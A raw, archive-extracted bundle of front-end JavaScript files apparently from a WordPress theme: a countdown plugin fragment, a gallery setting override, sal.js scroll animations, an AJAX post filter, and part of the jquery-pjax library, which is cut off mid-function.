'+this._holdingClass:'')+'">'+m(Y)+m(O)+m(W)+m(D)+(h[H]?this._minDigits(c,c._periods[H],2):'')+(h[M]?(h[H]?c.options.timeSeparator:'')+this._minDigits(c,c._periods[M],2):'')+(h[S]?(h[H]||h[M]?c.options.timeSeparator:'')+this._minDigits(c,c._periods[S],2):''):'<span class="'+this._rowClass+' '+this._showClass+(c.options.significant||f)+(c._hold?' '+this._holdingClass:'')+'">'+o(Y)+o(O)+o(W)+o(D)+o(H)+o(M)+o(S))+'</span>'+(c.options.description?'<span class="'+this._rowClass+' '+this._descrClass+'">'+c.options.description+'</span>':'')))},_buildLayout:function(c,d,e,f,g,h){var j=c.options[f?'compactLabels':'labels'];var k=c.options.whichLabels||this._normalLabels;var l=function(a){return(c.options[(f?'compactLabels':'labels')+k(c._periods[a])]||j)[a]};var m=function(a,b){return c.options.digits[Math.floor(a/b)%10]};var o={desc:c.options.description,sep:c.options.timeSeparator,yl:l(Y),yn:this._minDigits(c,c._periods[Y],1),ynn:this._minDigits(c,c._periods[Y],2),ynnn:this._minDigits(c,c._periods[Y],3),y1:m(c._periods[Y],1),y10:m(c._periods[Y],10),y100:m(c._periods[Y],100),y1000:m(c._periods[Y],1000),ol:l(O),on:this._minDigits(c,c._periods[O],1),onn:this._minDigits(c,c._periods[O],2),onnn:this._minDigits(c,c._periods[O],3),o1:m(c._periods[O],1),o10:m(c._periods[O],10),o100:m(c._periods[O],100),o1000:m(c._periods[O],1000),wl:l(W),wn:this._minDigits(c,c._periods[W],1),wnn:this._minDigits(c,c._periods[W],2),wnnn:this._minDigits(c,c._periods[W],3),w1:m(c._periods[W],1),w10:m(c._periods[W],10),w100:m(c._periods[W],100),w1000:m(c._periods[W],1000),dl:l(D),dn:this._minDigits(c,c._periods[D],1),dnn:this._minDigits(c,c._periods[D],2),dnnn:this._minDigits(c,c._periods[D],3),d1:m(c._periods[D],1),d10:m(c._periods[D],10),d100:m(c._periods[D],100),d1000:m(c._periods[D],1000),hl:l(H),hn:this._minDigits(c,c._periods[H],1),hnn:this._minDigits(c,c._periods[H],2),hnnn:this._minDigits(c,c._periods[H],3),h1:m(c._periods[H],1),h10:m(c._periods[H],10),h100:m(c._periods[H],100),h1000:m(c._periods[H],1000),ml:l(M),mn:this._minDigits(c,c._periods[M],1),mnn:this._minDigits(c,c._periods[M],2),mnnn:this._minDigits(c,c._periods[M],3),m1:m(c._periods[M],1),m10:m(c._periods[M],10),m100:m(c._periods[M],100),m1000:m(c._periods[M],1000),sl:l(S),sn:this._minDigits(c,c._periods[S],1),snn:this._minDigits(c,c._periods[S],2),snnn:this._minDigits(c,c._periods[S],3),s1:m(c._periods[S],1),s10:m(c._periods[S],10),s100:m(c._periods[S],100),s1000:m(c._periods[S],1000)};var p=e;for(var i=Y;i<=S;i++){var q='yowdhms'.charAt(i);var r=new RegExp('\\{'+q+'<\\}([\\s\\S]*)\\{'+q+'>\\}','g');p=p.replace(r,((!g&&d[i])||(g&&h[i])?'$1':''))}$.each(o,function(n,v){var a=new RegExp('\\{'+n+'\\}','g');p=p.replace(a,v)});return p},_minDigits:function(a,b,c){b=''+b;if(b.length>=c){return this._translateDigits(a,b)}b='0000000000'+b;return this._translateDigits(a,b.substr(b.length-c))},_translateDigits:function(b,c){return(''+c).replace(/[0-9]/g,function(a){return b.options.digits[a]})},_determineShow:function(a){var b=a.options.format;var c=[];c[Y]=(b.match('y')?'?':(b.match('Y')?'!':null));c[O]=(b.match('o')?'?':(b.match('O')?'!':null));c[W]=(b.match('w')?'?':(b.match('W')?'!':null));c[D]=(b.match('d')?'?':(b.match('D')?'!':null));c[H]=(b.match('h')?'?':(b.match('H')?'!':null));c[M]=(b.match('m')?'?':(b.match('M')?'!':null));c[S]=(b.match('s')?'?':(b.match('S')?'!':null));return c},_calculatePeriods:function(c,d,e,f){c._now=f;c._now.setMilliseconds(0);var g=new Date(c._now.getTime());if(c._since){if(f.getTime()<c._since.getTime()){c._now=f=g}else{f=c._since}}else{g.setTime(c._until.getTime());if(f.getTime()>c._until.getTime()){c._now=f=g}}var h=[0,0,0,0,0,0,0];if(d[Y]||d[O]){var i=this._getDaysInMonth(f.getFullYear(),f.getMonth());var j=this._getDaysInMonth(g.getFullYear(),g.getMonth());var k=(g.getDate()==f.getDate()||(g.getDate()>=Math.min(i,j)&&f.getDate()>=Math.min(i,j)));var l=function(a){return(a.getHours()*60+a.getMinutes())*60+a.getSeconds()};var m=Math.max(0,(g.getFullYear()-f.getFullYear())*12+g.getMonth()-f.getMonth()+((g.getDate()<f.getDate()&&!k)||(k&&l(g)<l(f))?-1:0));h[Y]=(d[Y]?Math.floor(m/12):0);h[O]=(d[O]?m-h[Y]*12:0);f=new Date(f.getTime());var n=(f.getDate()==i);var o=this._getDaysInMonth(f.getFullYear()+h[Y],f.getMonth()+h[O]);if(f.getDate()>o){f.setDate(o)}f.setFullYear(f.getFullYear()+h[Y]);f.setMonth(f.getMonth()+h[O]);if(n){f.setDate(o)}}var p=Math.floor((g.getTime()-f.getTime())/1000);var q=function(a,b){h[a]=(d[a]?Math.floor(p/b):0);p-=h[a]*b};q(W,604800);q(D,86400);q(H,3600);q(M,60);q(S,1);if(p>0&&!c._since){var r=[1,12,4.3482,7,24,60,60];var s=S;var t=1;for(var u=S;u>=Y;u--){if(d[u]){if(h[s]>=t){h[s]=0;p=1}if(p>0){h[u]++;p=0;s=u;t=1}}t*=r[u]}}if(e){for(var u=Y;u<=S;u++){if(e&&h[u]){e--}else if(!e){h[u]=0}}}return h}})})(jQuery);PK     N\7}      js/admin-gallery-new.jsnu [        /**
 * Custom Gallery Setting
 */
( function( $ ) {
	var media = wp.media;

	// Wrap the render() function to append controls
	media.view.Settings.Gallery = media.view.Settings.Gallery.extend({
		render: function() {
			media.view.Settings.prototype.render.apply( this, arguments );

			// Append the custom template
			this.$el.append( media.template( 'penci-custom-gallery-options' ) );

			// Save the setting
			media.gallery.defaults.type = 'justified';
			this.update.apply( this, ['type'] );
			return this;
		}
	} );
} )( jQuery );PK     N\Ö      js/archive-animation.jsnu [        !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.sal=t():e.sal=t()}(this,(function(){return(()=>{"use strict";var e={d:(t,n)=>{for(var r in n)e.o(n,r)&&!e.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:n[r]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)},t={};function n(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function r(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?n(Object(r),!0).forEach((function(t){o(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):n(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function o(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}e.d(t,{default:()=>j});var a="Sal was not initialised! Probably it is used in SSR.",s="Your browser does not support IntersectionObserver!\nGet a polyfill from here:\nhttps://github.com/w3c/IntersectionObserver/tree/master/polyfill",i={root:null,rootMargin:"0% 50%",threshold:.5,animateClassName:"sal-animate",disabledClassName:"sal-disabled",enterEventName:"sal:in",exitEventName:"sal:out",selector:"[data-sal]",once:!0,disabled:!1},l=[],c=null,u=function(e){e&&e!==i&&(i=r(r({},i),e))},d=function(e){e.classList.remove(i.animateClassName)},f=function(e,t){var n=new CustomEvent(e,{bubbles:!0,detail:t});t.target.dispatchEvent(n)},b=function(){document.body.classList.add(i.disabledClassName)},p=function(){c.disconnect(),c=null},m=function(){return i.disabled||"function"==typeof i.disabled&&i.disabled()},v=function(e,t){e.forEach((function(e){var n=e.target,r=void 0!==n.dataset.salRepeat,o=void 0!==n.dataset.salOnce,a=r||!(o||i.once);e.intersectionRatio>=i.threshold?(function(e){e.target.classList.add(i.animateClassName),f(i.enterEventName,e)}(e),a||t.unobserve(n)):a&&function(e){d(e.target),f(i.exitEventName,e)}(e)}))},y=function(){var e=[].filter.call(document.querySelectorAll(i.selector),(function(e){return!function(e){return e.classList.contains(i.animateClassName)}(e,i.animateClassName)}));return e.forEach((function(e){return c.observe(e)})),e},O=function(){b(),p()},h=function(){document.body.classList.remove(i.disabledClassName),c=new IntersectionObserver(v,{root:i.root,rootMargin:i.rootMargin,threshold:i.threshold}),l=y()},g=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};p(),Array.from(document.querySelectorAll(i.selector)).forEach(d),u(e),h()},w=function(){var e=y();l.push(e)};const j=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:i;if(u(e),"undefined"==typeof window)return console.warn(a),{elements:l,disable:O,enable:h,reset:g,update:w};if(!window.IntersectionObserver)throw b(),Error(s);return m()?b():h(),{elements:l,disable:O,enable:h,reset:g,update:w}};return t.default})()}));


document.addEventListener("DOMContentLoaded", function () {
    // Add attributes programmatically
    document.querySelectorAll('.standard-article, .list-post, .item-masonry, li.grid-style').forEach((el, i) => {
      el.setAttribute('data-sal', 'slide-up');
      el.setAttribute('data-sal-delay', `${i * 100}`); // 0ms, 300ms, 600ms...
      el.setAttribute('data-sal-duration', '200');
      el.setAttribute('data-sal-easing', 'ease-out');
    });
  
      // Initialize sal AFTER attributes are added
      sal({
        once: true // run only once when in view
      });
  });

  function applySalToNewPosts(posts) {
    posts.forEach((el, i) => {
      if (!el.hasAttribute('data-sal')) {
        el.setAttribute('data-sal', 'fade');
        el.setAttribute('data-sal-delay', `${i * 100}`);
        el.setAttribute('data-sal-duration', '200');
        el.setAttribute('data-sal-easing', 'ease-out');
      }
    });
  
    sal(); // re-run sal for new items
  }
  
  // Observe DOM changes and apply Sal.js animations
  const observer = new MutationObserver((mutationsList) => {
    mutationsList.forEach((mutation) => {
      mutation.addedNodes.forEach((node) => {
        if (node.nodeType === 1 && node.matches('.list-post')) {
          applySalToNewPosts([node]);
        } else if (node.nodeType === 1) {
          // Also check inside added wrappers
          const newPosts = node.querySelectorAll?.('.list-post');
          if (newPosts?.length) {
            applySalToNewPosts([...newPosts]);
          }
        }
      });
    });
  });
  
  // Start observing the document body
  observer.observe(document.body, {
    childList: true,
    subtree: true
  });
  PK     N\q      js/mtp-filters.jsnu [        (function($) {
    'use strict';
    var PENCI = PENCI || {};
    PENCI.mtpFilter = function() {
        
        if ($().theiaStickySidebar) {
            var top_margin = 90;
            if ($('body').hasClass('admin-bar')) {
                top_margin = 122;
            }
            $('.penci-mtp-sticky .penci-mtp-filters-terms,.penci-mtp-sticky .penci-mtp-filters-posts').theiaStickySidebar({
                // settings
                additionalMarginTop: top_margin
            });
        } // if sticky

        $(document).on('click','.pcmtp-f-term',function(e) {
            e.preventDefault()
            
            var t = $(this),
                id = t.attr('data-id'),
                filter_id = '',
                wrapper = t.closest( '.penci-mtp-filters-wrapper' ),
                current_filter_id = wrapper.attr('data-filter-terms')

                if ( 'all' == id ) {
                    wrapper.find('.pcmtp-f-term').removeClass('added')
                    wrapper.attr('data-filter-terms', '')
                } else {
                    if ( t.hasClass('added') ) {
                        var parts = current_filter_id.split('|'),
                            updatedParts = parts.filter(function(part) {
                                return part !== id;
                            }),
                            filter_id = updatedParts.join('|')
                        t.removeClass('added')
                    } else {
                        if ( current_filter_id ) {
                            filter_id = current_filter_id + '|' + id
                        } else {
                            filter_id = id
                        }
                        t.addClass('added')
                    }
                }

                wrapper.attr('data-filter-terms', filter_id)

                PENCI.mtpGetData(wrapper,1)

                if ( wrapper.hasClass('penci-mtp-sticky') ) {
                    $('html, body').animate({
                        scrollTop: wrapper.offset().top - 120
                    }, 1000); // Duration in milliseconds
                }
        });

        $(document).on('click','.penci-mtpf-more-click .penci-ajax-more-button',function(e){
            e.preventDefault()
            var t = $(this),
                wrapper = t.closest( '.penci-mtp-filters-wrapper' ),
                paged = parseInt(wrapper.attr('data-paged')) + 1;
            PENCI.mtpGetData(wrapper,paged,'append')
        });
    }

    PENCI.mtp_more_scroll = function(e) {
        if (!$('.penci-mtpf-more-scroll .penci-ajax-more-button').length) {
            return;
        }

        $('.penci-mtpf-more-scroll .penci-ajax-more-button').each(function () {
            var $this_scroll = $(this),
                t = $(this),
                paged,
                wrapper = t.closest( '.penci-mtp-filters-wrapper' );
            
            $(window).on('scroll', $this_scroll, function () {

                if ( t.hasClass( 'deactivate' ) ) {
                    return;
                }
                
                var hT = $this_scroll.offset().top,
                    hH = $this_scroll.outerHeight(),
                    wH = $(window).height(),
                    wS = $(this).scrollTop()

                paged = parseInt(wrapper.attr('data-paged')) + 1

                if ((wS > (hT + hH - wH)) && $this_scroll.length) {
                    PENCI.mtpGetData(wrapper,paged,'append')
                }
            })
        })
    }

    PENCI.mtphidebtn = function(t){
        if ( t.find('.penci-ajax-more-button').length ) {
            var button = t.find('.penci-ajax-more-button')

            button.addClass('deactivate');
            button.find(".ajax-more-text").text(button.attr('data-mes'));
            button.find("i").hide();
            button.removeClass('loading-posts');
            setTimeout(function () {
                button.parent().hide();
            }, 1200);
        }
    }

    PENCI.mtpshowbtn = function(t){
        if ( t.find('.penci-ajax-more-button').length ) {
            var button = t.find('.penci-ajax-more-button')

            button.removeClass('deactivate');
            button.find(".ajax-more-text").text(button.attr('data-more'));
            button.find("i").show();
            button.parent().show();
        }
    }

    PENCI.mtpGetData = function( selection, cpaged='', type='replace') {
        var t = $(selection),
            paged = t.attr('data-paged'),
            ids = t.attr('data-filter-terms'),
            query = t.attr('data-query'),
            tax = t.attr('data-tax'),
            settings = t.attr('data-settings'),
            rid = t.attr('data-request-id')

            if ( t.find('.penci-smalllist').hasClass('pcftaj-ld') ) {
                return
            }

            if ( cpaged ) {
                paged = cpaged
            }

            t.find('.penci-smalllist').addClass('pcftaj-ld')

            $.ajax( {
                type: 'POST',
                dataType: 'JSON',
                url: ajax_var_more.url,
                data: {
                    action: 'penci_mtp_getdata',
                    paged: paged,
                    ids: ids,
                    tax: tax,
                    query: query,
                    settings: settings,
                    nonce: rid,
                },
                beforeSend: function() {
                    if ( t.find('.penci-ajax-more-button').length ) {
                        t.find('.penci-ajax-more-button').addClass('loading-posts')
                    }
                },
                success: function( response ) {
                    if ( type == 'replace' && response.data.html ) {
                        t.find('.penci-mtp-filters-posts .pcsl-inner').html($(response.data.html))
                        PENCI.mtpshowbtn(t)
                    } else if ( response.data.html ) {
                        t.find('.penci-mtp-filters-posts .pcsl-inner').append($(response.data.html))
                    } else {
                        PENCI.mtphidebtn(t)
                    }

                    t.attr('data-paged',response.data.paged)
                    t.find('.penci-smalllist').removeClass('pcftaj-ld')
                    if ( t.find('.penci-ajax-more-button').length ) {
                        t.find('.penci-ajax-more-button').addClass('loading-posts')
                    }
                    if ($().theiaStickySidebar) {
                        var top_margin = 90;
                        if ($('body').hasClass('admin-bar')) {
                            top_margin = 122;
                        }
                        $('.penci-mtp-sticky .penci-mtp-filters-terms,.penci-mtp-sticky .penci-mtp-filters-posts').theiaStickySidebar({
                            // settings
                            additionalMarginTop: top_margin
                        });
                    } // if sticky
                    $(".penci-wrapper-smalllist").fitVids();

                    if ($().easyPieChart) {
                        $('.penci-piechart').each(function () {
                            var $this = $(this);
                            $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                var chart_args = {
                                    barColor: $this.data('color'),
                                    trackColor: $this.data('trackcolor'),
                                    scaleColor: false,
                                    lineWidth: $this.data('thickness'),
                                    size: $this.data('size'),
                                    animate: 1000
                                };
                                $this.easyPieChart(chart_args);
                            }); // bind inview
                        }); // each
                    }
                    
                    $(document).trigger('penci_bf_check');
                }
            })
    }
    
    $(document).ready(function() {
      PENCI.mtpFilter();
      PENCI.mtp_more_scroll();
    });
  })(jQuery);PK     N\78tr  r    js/jquery.pjax.jsnu [        /*!
 * Copyright 2012, Chris Wanstrath
 * Released under the MIT License
 * https://github.com/defunkt/jquery-pjax
 */

(function ($) {

// When called on a container with a selector, fetches the href with
// ajax into the container or with the data-pjax attribute on the link
// itself.
//
// Tries to make sure the back button and ctrl+click work the way
// you'd expect.
//
// Exported as $.fn.pjax
//
// Accepts a jQuery ajax options object that may include these
// pjax specific options:
//
//
// container - String selector for the element where to place the response body.
//      push - Whether to pushState the URL. Defaults to true (of course).
//   replace - Want to use replaceState instead? That's cool.
//
// For convenience the second parameter can be either the container or
// the options object.
//
// Returns the jQuery object
    function fnPjax(selector, container, options) {
        options = optionsFor(container, options)
        return this.on('click.pjax', selector, function (event) {
            var opts = options
            if (!opts.container) {
                opts = $.extend({}, options)
                opts.container = $(this).attr('data-pjax')
            }
            handleClick(event, opts)
        })
    }

// Public: pjax on click handler
//
// Exported as $.pjax.click.
//
// event   - "click" jQuery.Event
// options - pjax options
//
// Examples
//
//   $(document).on('click', 'a', $.pjax.click)
//   // is the same as
//   $(document).pjax('a')
//
// Returns nothing.
    function handleClick(event, container, options) {
        options = optionsFor(container, options)

        var link = event.currentTarget
        var $link = $(link)

        if (link.tagName.toUpperCase() !== 'A')
            throw "$.fn.pjax or $.pjax.click requires an anchor element"

        // Middle click, cmd click, and ctrl click should open
        // links in a new tab as normal.
        if (event.which > 1 || event.metaKey || event.ctrlKey || event.shiftKey || event.altKey)
            return

        // Ignore cross origin links
        if (location.protocol !== link.protocol || location.hostname !== link.hostname)
            return

        // Ignore case when a hash is being tacked on the current URL
        if (link.href.indexOf('#') > -1 && stripHash(link) == stripHash(location))
            return

        // Ignore event with default prevented
        if (event.isDefaultPrevented())
            return

        var defaults = {
            url: link.href,
            container: $link.attr('data-pjax'),
            target: link
        }

        var opts = $.extend({}, defaults, options)
        var clickEvent = $.Event('pjax:click')
        $link.trigger(clickEvent, [opts])

        if (!clickEvent.isDefaultPrevented()) {
            pjax(opts)
            event.preventDefault()
            $link.trigger('pjax:clicked', [opts])
        }
    }

// Public: pjax on form submit handler
//
// Exported as $.pjax.submit
//
// event   - "click" jQuery.Event
// options - pjax options
//
// Examples
//
//  $(document).on('submit', 'form', function(event) {
//    $.pjax.submit(event, '[data-pjax-container]')
//  })
//
// Returns nothing.
    function handleSubmit(event, container, options) {
        options = optionsFor(container, options)

        var form = event.currentTarget
        var $form = $(form)

        if (form.tagName.toUpperCase() !== 'FORM')
            throw "$.pjax.submit requires a form element"

        var defaults = {
            type: ($form.attr('method') || 'GET').toUpperCase(),
            url: $form.attr('action'),
            container: $form.attr('data-pjax'),
            target: form
        }

        if (defaults.type !== 'GET' && window.FormData !== undefined) {
            defaults.data = new FormData(form)
            defaults.processData = false
            defaults.contentType = false
        } else {
            // Can't handle file uploads, exit
            if ($form.find(':file').length) {
                return
            }

            // Fallback to manually serializing the fields
            defaults.data = $form.serializeArray()
        }

        pjax($.extend({}, defaults, options))

        event.preventDefault()
    }

// Loads a URL with ajax, puts the response body inside a container,
// then pushState()'s the loaded URL.
//
// Works just like $.ajax in that it accepts a jQuery ajax
// settings object (with keys like url, type, data, etc).
//
// Accepts these extra keys:
//
// container - String selector for where to stick the response body.
//      push - Whether to pushState the URL. Defaults to true (of course).
//   replace - Want to use replaceState instead? That's cool.
//
// Use it just like $.ajax:
//
//   var xhr = $.pjax({ url: this.href, container: '#main' })
//   console.log( xhr.readyState )
//
// Returns whatever $.ajax returns.
    function pjax(options) {
        options = $.extend(true, {}, $.ajaxSettings, pjax.defaults, options)

        if ($.isFunction(options.url)) {
            options.url = options.url()
        }

        var hash = parseURL(options.url).hash

        var containerType = $.type(options.container)
        if (containerType !== 'string') {
            throw "expected string value for 'container' option; got " + containerType
        }
        var context = options.context = $(options.container)
        if (!context.length) {
            throw "the container selector '" + options.container + "' did not match anything"
        }

        // We want the browser to maintain two separate internal caches: one
        // for pjax'd partial page loads and one for normal page loads.
        // Without adding this secret parameter, some browsers will often
        // confuse the two.
        if (!options.data) options.data = {}
        if ($.isArray(options.data)) {
            options.data.push({name: '_pjax', value: options.container})
        } else {
            options.data._pjax = options.container
        }

        function fire(type, args, props) {
            if (!props) props = {}
            props.relatedTarget = options.target
            var event = $.Event(type, props)
            context.trigger(event, args)
            return !event.isDefaultPrevented()
        }

        var timeoutTimer

        options.beforeSend = function (xhr, settings) {
            // No timeout for non-GET requests
            // Its not safe to request the resource again with a fallback method.
            if (settings.type !== 'GET') {
                settings.timeout = 0
            }

            xhr.setRequestHeader('X-PJAX', 'true')
            xhr.setRequestHeader('X-PJAX-Container', options.container)

            if (!fire('pjax:beforeSend', [xhr, settings]))
                return false

            if (settings.timeout > 0) {
                timeoutTimer = setTimeout(function () {
                    if (fire('pjax:timeout', [xhr, options]))
                        xhr.abort('timeout')
                }, settings.timeout)

                // Clear timeout setting so jquerys internal timeout isn't invoked
                settings.timeout = 0
            }

            var url = parseURL(settings.url)
            if (hash) url.hash = hash
            options.requestUrl = stripInternalParams(url)
        }

        options.complete = function (xhr, textStatus) {
            if (timeoutTimer)
                clearTimeout(timeoutTimer)

            fire('pjax:complete', [xhr, textStatus, options])

            fire('pjax:end', [xhr, options])
        }

        options.error = function (xhr, textStatus, errorThrown) {
            var container = extractContainer("", xhr, options)

            var allowed = fire('pjax:error', [xhr, textStatus, errorThrown, options])
            if (options.type == 'GET' && textStatus !== 'abort' && allowed) {
                locationReplace(container.url)
            }
        }

        options.success = function (data, status, xhr) {
            var previousState = pjax.state

            // If $.pjax.defaults.version is a function, invoke it first.
            // Otherwise it can be a static string.
            var currentVersion = typeof $.pjax.defaults.version === 'function' ?
                $.pjax.defaults.version() :
                $.pjax.defaults.version

            var latestVersion = xhr.getResponseHeader('X-PJAX-Version')

            var container = extractContainer(data, xhr, options)

            var url = parseURL(container.url)
            if (hash) {
                url.hash = hash
                container.url = url.href
            }

            // If there is a layout version mismatch, hard load the new url
            if (currentVersion && latestVersion && currentVersion !== latestVersion) {
                locationReplace(container.url)
                return
            }

            // If the new response is missing a body, hard load the page
            if (!container.contents) {
                locationReplace(container.url)
                return
            }

            pjax.state = {
                id: options.id || uniqueId(),
                url: container.url,
                title: container.title,
                container: options.container,
                fragment: options.fragment,
                timeout: options.timeout
            }

            if (options.push || options.replace) {
                window.history.replaceState(pjax.state, container.title, container.url)
            }

            // Only blur the focus if the focused element is within the container.
            var blurFocus = $.contains(context, document.activeElement)

            // Clear out any focused controls before inserting new page contents.
            if (blurFocus) {
                try {
                    document.activeElement.blur()
                } catch (e) { /* ignore */
                }
            }

            if (container.title) document.title = container.title

            fire('pjax:beforeReplace', [container.contents, options], {
                state: pjax.state,
                previousState: previousState
            })
            context.html(container.contents)

            // FF bug: Won't autofocus fields that are inserted via JS.
            // This behavior is incorrect. So if theres no current focus, autofocus
            // the last field.
            //
            // http://www.w3.org/html/wg/drafts/html/master/forms.html
            var autofocusEl = context.find('input[autofocus], textarea[autofocus]').last()[0]
            if (autofocusEl && document.activeElement !== autofocusEl) {
                autofocusEl.focus()
            }

            executeScriptTags(container.scripts)

            var scrollTo = options.scrollTo

            // Ensure browser scrolls to the element referenced by the URL anchor
            if (hash) {
                var name = decodeURIComponent(hash.slice(1))
                var target = document.getElementById(name) || document.getElementsByName(name)[0]
                if (target) scrollTo = $(target).offset().top
            }

            if (typeof scrollTo == 'number') $(window).scrollTop(scrollTo)

            fire('pjax:success', [data, status, xhr, options])
        }


        // Initialize pjax.state for the initial page load. Assume we're
        // using the container and options of the link we're loading for the
        // back button to the initial page. This ensures good back button
        // behavior.
        if (!pjax.state) {
            pjax.state = {
                id: uniqueId(),
                url: window.location.href,
                title: document.title,
                container: options.container,
                fragment: options.fragment,
                timeout: options.timeout
            }
            window.history.replaceState(pjax.state, document.title)
        }

        // Cancel the current request if we're already pjaxing
        abortXHR(pjax.xhr)

        pjax.options = options
        var xhr = pjax.xhr = $.ajax(options)

        if (xhr.readyState > 0) {
            if (options.push && !options.replace) {
                // Cache current container element before replacing it
                cachePush(pjax.state.id, [options.container, cloneContents(context)])

                window.history.pushState(null, "", options.requestUrl)
            }

            fire('pjax:start', [xhr, options])
            fire('pjax:send', [xhr, options])
        }

        return pjax.xhr
    }

// Public: Reload current page with pjax.
//
// Returns whatever $.pjax returns.
    function pjaxReload(container, options) {
        var defaults = {
            url: window.location.href,
            push: false,
            replace: true,
            scrollTo: false
        }

        return pjax($.extend(defaults, optionsFor(container, options)))
    }

// Internal: Hard replace current state with url.
//
// Work for around WebKit
//   https://bugs.webkit.org/show_bug.cgi?id=93506
//
// Returns nothing.
    function locationReplace(url) {
        window.history.replaceState(null, "", pjax.state.url)
        window.location.replace(url)
    }


    var initialPop = true
    var initialURL = window.location.href
    var initialState = window.history.state

// Initialize $.pjax.state if possible
// Happens when reloading a page and coming forward from a different
// session history.
    if (initialState && initialState.container) {
        pjax.state = initialState
    }

// Non-webkit browsers don't fire an initial popstate event
    if ('state' in window.history) {
        initialPop = false
    }

// popstate handler takes care of the back and forward buttons
//
// You probably shouldn't use pjax on pages with other pushState
// stuff yet.
    function onPjaxPopstate(event) {

        // Hitting back or forward should override any pending PJAX request.
        if (!initialPop) {
            abortXHR(pjax.xhr)
        }

        var previousState = pjax.state
        var state = event.state
        var direction

        if (state && state.container) {
            // When coming forward from a separate history session, will get an
            // initial pop with a state we are already at. Skip reloading the current
            // page.
            if (initialPop && initialURL == state.url) return

            if (previousState) {
                // If popping back to the same state, just skip.
                // Could be clicking back from hashchange rather than a pushState.
                if (previousState.id === state.id) return

                // Since state IDs always increase, we can deduce the navigation direction
                direction = previousState.id < state.id ? 'forward' : 'back'
            }

            var cache = cacheMapping[state.id] || []
            var containerSelector = cache[0] || state.container
            var container = $(containerSelector), contents = cache[1]

            if (container.length) {
                if (previousState) {
                    // Cache current container before replacement and inform the
                    // cache which direction the history shifted.
                    cachePop(direction, previousState.id, [containerSelector, cloneContents(container)])
                }

                var popstateEvent = $.Event('pjax:popstate', {
                    state: state,
                    direction: direction
                })
                container.trigger(popstateEvent)

                var options = {
                    id: state.id,
                    url: state.url,
                    container: containerSelector,
                    push: false,
                    fragment: state.fragment,
                    timeout: state.timeout,
                    scrollTo: false
                }

                if (contents) {
                    container.trigger('pjax:start', [null, options])

                    pjax.state = state
                    if (state.title) document.title = state.title
                    var beforeReplaceEvent = $.Event('pjax:beforeReplace', {
                        state: state,
                        previousState: previousState
                    })
                    container.trigger(beforeReplaceEvent, [contents, options])
                    container.html(contents)

                    container.trigger('pjax:end', [null, options])
                } else {
                    pjax(options)
                }

                // Force reflow/relayout before the browser tries to restore the
                // scroll position.
                container[0].offsetHeight // eslint-disable-line no-unused-expressions
            } else {
                locationReplace(location.href)
            }
        }
        initialPop = false
    }

// Fallback version of main pjax function for browsers that don't
// support pushState.
//
// Returns nothing since it retriggers a hard form submission.
    function fallbackPjax(options) {
        var url = $.isFunction(options.url) ? options.url() : options.url,
            method = options.type ? options.type.toUpperCase() : 'GET'

        var form = $('<form>', {
            method: method === 'GET' ? 'GET' : 'POST',
            action: url,
            style: 'display:none'
        })

        if (method !== 'GET' && method !== 'POST') {
            form.append($('<input>', {
                type: 'hidden',
                name: '_method',
                value: method.toLowerCase()
            }))
        }

        var data = options.data
        if (typeof data === 'string') {
            $.each(data.split('&'), function (index, value) {
                var pair = value.split('=')
                form.append($('<input>', {type: 'hidden', name: pair[0], value: pair[1]}))
            })
        } else if ($.isArray(data)) {
            $.each(data, function (index, value) {
                form.append($('<input>', {type: 'hidden', name: value.name, value: value.value}))
            })
        } else if (typeof data === 'object') {
            var key
            for (key in data)
                form.append($('<input>', {type: 'hidden', name: key, value: data[key]}))
        }

        $(document.body).append(form)
        form.submit()
    }

// Internal: Abort an XmlHttpRequest if it hasn't been completed,
// also removing its event handlers.
    function abortXHR(xhr) {
        if (xhr && xhr.readyState < 4) {
            xhr.onreadystatechange = $.noop
            xhr.abort()
        }
    }

// Internal: Generate unique id for state object.
//
// Use a timestamp instead of a counter since ids should still be
// unique across page loads.
//
// Returns Number.
    function uniqueId() {
        return (new Date).getTime()
    }

    function cloneContents(container) {
        var cloned = container.clone()
        // Unmark script tags as already being eval'd so they can get executed again
        // when restored from cache. HAXX: Uses jQuery internal method.
        cloned.find('script').each(function () {
            if (!this.src) $._data(this, 'globalEval', false)
        })
        return cloned.contents()
    }

// Internal: Strip internal query params from parsed URL.
//
// Returns sanitized url.href String.
    function stripInternalParams(url) {
        url.search = url.search.replace(/([?&])(_pjax|_)=[^&]*/g, '').replace(/^&/, '')
        return url.href.replace(/\?($|#)/, '$1')
    }

// Internal: Parse URL components and returns a Locationish object.
//
// url - String URL
//
// Returns HTMLAnchorElement that acts like Location.
    function parseURL(url) {
        var a = document.createElement('a')
        a.href = url
        return a
    }

// Internal: Return the `href` component of given URL object with the hash
// portion removed.
//
// location - Location or HTMLAnchorElement
//
// Returns String
    function stripHash(location) {
        return location.href.replace(/#.*/, '')
    }

// Internal: Build options Object for arguments.
//
// For convenience the first parameter can be either the container or
// the options object.
//
// Examples
//
//   optionsFor('#container')
//   // => {container: '#container'}
//
//   optionsFor('#container', {push: true})
//   // => {container: '#container', push: true}
//
//   optionsFor({container: '#container', push: true})
//   // => {container: '#container', push: true}
//
// Returns options Object.
    function optionsFor(container, options) {
        if (container && options) {
            options = $.extend({}, options)
            options.container = container
            return options
        } else if ($.isPlainObject(container)) {
            return container
        } else {
            return {container: container}
        }
    }

// Internal: Filter and find all elements matching the selector.
//
// Where $.fn.find only matches descendants, findAll will test all the
// top level elements in the jQuery object as well.
//
// elems    - jQuery object of Elements
// selector - String selector to match
//
// Returns a jQuery object.
    function findAll(elems, selector) {
        return elems.filter(selector).add(elems.find(selector))
